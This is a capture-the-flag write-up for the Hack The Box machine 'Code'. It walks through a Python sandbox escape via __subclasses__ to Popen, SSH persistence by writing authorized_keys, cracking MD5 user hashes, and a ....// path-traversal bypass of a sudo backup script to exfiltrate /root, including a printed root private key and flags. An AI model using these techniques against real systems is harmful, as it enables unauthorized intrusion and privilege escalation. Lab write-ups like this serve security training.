Code

Recon

nmap_scan.log

HTTP (5000)

80/443 is not open, only 5000 which is serving Python online runner (?)

Writeup.png

import is blocked, most "dangerous" functions are blocked like eval, exec, even open.

Payloads: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#accessing-subclasses-with-bypasses

print([ (i, x.__name__) for i, x in enumerate(().__class__.__base__.__subclasses__()) if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ])
[
    (80, "_ModuleLock"),
    (81, "_DummyModuleLock"),
    (82, "_ModuleLockManager"),
    (83, "ModuleSpec"),
    (99, "FileLoader"),
    (100, "_NamespacePath"),
    (101, "_NamespaceLoader"),
    (103, "FileFinder"),
    (104, "zipimporter"),
    (105, "_ZipImportResourceReader"),
    (107, "IncrementalEncoder"),
    (108, "IncrementalDecoder"),
    (109, "StreamReaderWriter"),
    (110, "StreamRecoder"),
    (132, "_wrap_close"),
    (133, "Quitter"),
    (134, "_Printer"),
    (138, "WarningMessage"),
    (139, "catch_warnings"),
    (178, "_GeneratorContextManagerBase"),
    (179, "_BaseExitStack"),
    (206, "ZipInfo"),
    (207, "LZMACompressor"),
    (208, "LZMADecompressor"),
    (209, "_SharedFile"),
    (210, "_Tellable"),
    (211, "ZipFile"),
    (212, "Path"),
    (214, "finalize"),
    (215, "ImpImporter"),
    (216, "ImpLoader"),
    (248, "_localized_month"),
    (249, "_localized_day"),
    (250, "Calendar"),
    (251, "different_locale"),
    (264, "Bytecode"),
    (265, "Untokenizer"),
    (266, "BlockFinder"),
    (269, "Parameter"),
    (270, "BoundArguments"),
    (271, "Signature"),
    (272, "VendorImporter"),
    (273, "_LazyDescr"),
    (274, "_SixMetaPathImporter"),
    (275, "_LazyDescr"),
    (276, "_SixMetaPathImporter"),
    (277, "AppDirs"),
    (284, "FrameSummary"),
    (285, "TracebackException"),
    (287, "_ParseResultsWithOffset"),
    (288, "ParseResults"),
    (289, "_UnboundedCache"),
    (290, "_FifoCache"),
    (291, "ParserElement"),
    (293, "OnlyOnce"),
    (295, "Node"),
    (296, "Marker"),
    (299, "WorkingSet"),
    (300, "Environment"),
    (301, "ResourceManager"),
    (302, "NullProvider"),
    (304, "EntryPoint"),
    (305, "Distribution"),
    (316, "CompletedProcess"),
    (317, "Popen"),
    (318, "LogRecord"),
    (319, "PercentStyle"),
    (320, "Formatter"),
    (321, "BufferingFormatter"),
    (322, "Filter"),
    (323, "Filterer"),
    (324, "PlaceHolder"),
    (325, "Manager"),
    (326, "LoggerAdapter"),
    (328, "BaseSocket"),
    (329, "Arbiter"),
    (330, "NullTranslations"),
    (336, "shlex"),
    (341, "SSLObject"),
    (342, "InotifyReloader"),
    (343, "Config"),
    (344, "Setting"),
    (345, "Spew"),
    (346, "BaseApplication"),
    (352, "_Framer"),
    (353, "_Unframer"),
    (354, "_Pickler"),
    (355, "_Unpickler"),
    (360, "BaseServer"),
    (364, "BaseRequestHandler"),
    (366, "BaseConfigurator"),
    (367, "Logger"),
    (369, "ChunkedReader"),
    (370, "LengthReader"),
    (371, "EOFReader"),
    (372, "Body"),
    (375, "FileWrapper"),
    (376, "Response"),
    (378, "Worker"),
    (393, "MimeTypes"),
    (395, "_MarkupEscapeHelper"),
    (410, "Request"),
    (411, "OpenerDirector"),
    (413, "HTTPPasswordMgr"),
    (414, "AbstractBasicAuthHandler"),
    (415, "AbstractDigestAuthHandler"),
    (416, "URLopener"),
    (427, "_FIELD_BASE"),
    (428, "InitVar"),
    (429, "Field"),
    (430, "_DataclassParams"),
    (444, "EnvironBuilder"),
    (445, "Client"),
    (446, "Cookie"),
    (455, "UUID"),
    (457, "_FixupStream"),
    (458, "_AtomicFile"),
    (459, "LazyFile"),
    (460, "KeepOpenFile"),
    (461, "PacifyFlushWrapper"),
    (468, "Context"),
    (469, "BaseCommand"),
    (470, "Parameter"),
    (489, "_Flavour"),
    (491, "_Selector"),
    (495, "FileHash"),
    (497, "Context"),
    (498, "FastPath"),
    (499, "Prepared"),
    (502, "ScriptInfo"),
    (504, "AppContext"),
    (505, "RequestContext"),
    (506, "Bucket"),
    (519, "TemplateReference"),
    (520, "Context"),
    (521, "BlockReference"),
    (522, "LoopContext"),
    (523, "Macro"),
    (524, "Undefined"),
    (536, "Scaffold"),
    (544, "_ModuleRegistry"),
    (560, "_DefaultMixin"),
    (563, "deprecated"),
    (565, "NewType"),
    (566, "TypeAliasType"),
    (567, "Doc"),
    (572, "CoroWrapper"),
    (573, "Handle"),
    (582, "Future"),
    (591, "StreamWriter"),
    (592, "StreamReader"),
    (597, "PluginLoader"),
    (598, "portable_instancemethod"),
    (605, "_Runner"),
    (610, "InstanceLogger"),
]

The word read was blocked, but we can use communicate method as long as we have stdout/stderr with subprocess.PIPE value which is just -1.

print(().__class__.__base__.__subclasses__()[317]('id',stdout=-1).communicate()[0].decode())
Writeup-1.png

SSH (22)

We are app-production user and if you check ls /home you can find this user has a home directory, meaning we should be able to SSH with this user.

# Returns nothing, so it doesn't exist
print(().__class__.__base__.__subclasses__()[317]('ls -alh ~/.ssh',shell=True,stdout=-1).communicate()[0].decode())
# Create ssh directory
print(().__class__.__base__.__subclasses__()[317]('mkdir ~/.ssh',shell=True,stdout=-1).communicate()[0].decode())

# Generate SSH key locally
└─$ ssh-keygen -f id_rsa -P x -q
└─$ cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICVI0HYy5wj7T3x5QlKZxGDC/NVHsYeMjywH93Xe2tXH woyag@kraken

# Allow us into SSH
print(().__class__.__base__.__subclasses__()[317]('echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICVI0HYy5wj7T3x5QlKZxGDC/NVHsYeMjywH93Xe2tXH woyag@kraken" > ~/.ssh/authorized_keys',shell=True,stdout=-1).communicate()[0].decode())

# Login
└─$ ssh app-production@code.htb -i id_rsa
app-production@code:~$ id
uid=1001(app-production) gid=1001(app-production) groups=1001(app-production)

User.txt

app-production@code:~$ cat user.txt
c4fd3f6ac80d54276bcf8625bd792c52

Privilege Escalation (martin)

Application which we just attacked has a database with users

app-production@code:~/app/instance$ sqlite3 database.db
sqlite> .table
code  user
sqlite> SELECT * FROM user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be
Writeup-2.png
Hash
Type
Result

759b74ce43947f5f4c91aeddc3e5bad3

md5

development

3de6f30c4a09c27fc71932bfc68474be

md5

nafeelswordsmaster

martin is the valid user on box

app-production@code:~/app/instance$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
app-production:x:1001:1001:,,,:/home/app-production:/bin/bash
martin:x:1000:1000:,,,:/home/martin:/bin/bash
└─$ sshpass -p 'nafeelswordsmaster' ssh martin@code.htb
martin@code:~$ id
uid=1000(martin) gid=1000(martin) groups=1000(martin)

Privilege Escalation (root)

martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh
martin@code:~$ cat /usr/bin/backy.sh
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

Example task.json cant be found in home directory

martin@code:~$ cat backups/task.json
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}

updated_json prevents directory traversal by replacing ../ with nothing, but if we do ....// it becomes ../ and directory traversal is complete.

martin@code:~$ echo '{"directories_to_archive":["/home/../root"]}' | jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' -c
{"directories_to_archive":["/home/root"]}
martin@code:~$ echo '{"directories_to_archive":["/home/....//root"]}' | jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' -c
{"directories_to_archive":["/home/../root"]}
martin@code:~$ cat task.json
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": true,
        "directories_to_archive": [
                "/home/....//root"
        ]
}
martin@code:~$ sudo /usr/bin/backy.sh ./task.json
2025/03/23 03:59:43 🍀 backy 1.2
2025/03/23 03:59:43 📋 Working with ./task.json ...
2025/03/23 03:59:43 💤 Nothing to sync
2025/03/23 03:59:43 📤 Archiving: [/home/../root]
2025/03/23 03:59:43 📥 To: /home/martin/backups ...
2025/03/23 03:59:43 📦
tar: Removing leading '/home/../' from member names
/home/../root/
/home/../root/.local/
/home/../root/.local/share/
/home/../root/.local/share/nano/
/home/../root/.local/share/nano/search_history
/home/../root/.selected_editor
/home/../root/.sqlite_history
/home/../root/.profile
/home/../root/scripts/
/home/../root/scripts/cleanup.sh
/home/../root/scripts/backups/
/home/../root/scripts/backups/task.json
/home/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
/home/../root/scripts/database.db
/home/../root/scripts/cleanup2.sh
/home/../root/.python_history
/home/../root/root.txt
/home/../root/.cache/
/home/../root/.cache/motd.legal-displayed
/home/../root/.ssh/
/home/../root/.ssh/id_rsa
/home/../root/.ssh/authorized_keys
/home/../root/.bash_history
/home/../root/.bashrc
martin@code:~$ ls ~/backups/
code_home_app-production_app_2024_August.tar.bz2  code_home_....__root_2025_March.tar.bz2  task.json
martin@code:~$ tar -xjvf ./backups/*root*

Root.txt

martin@code:~$ cat ./root/root.txt
34eac422c19feb3349c4d525b74def77

Login as root

SSH key exists and we can use it for login

martin@code:~$ cat root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
hdENGN+hVCh//jFwAAAAlyb290QGNvZGU=
-----END OPENSSH PRIVATE KEY-----
└─$ nano root.id_rsa
└─$ chmod 600 root.id_rsa
└─$ ssh root@code.htb -i root.id_rsa
root@code:~# id
uid=0(root) gid=0(root) groups=0(root)

Last updated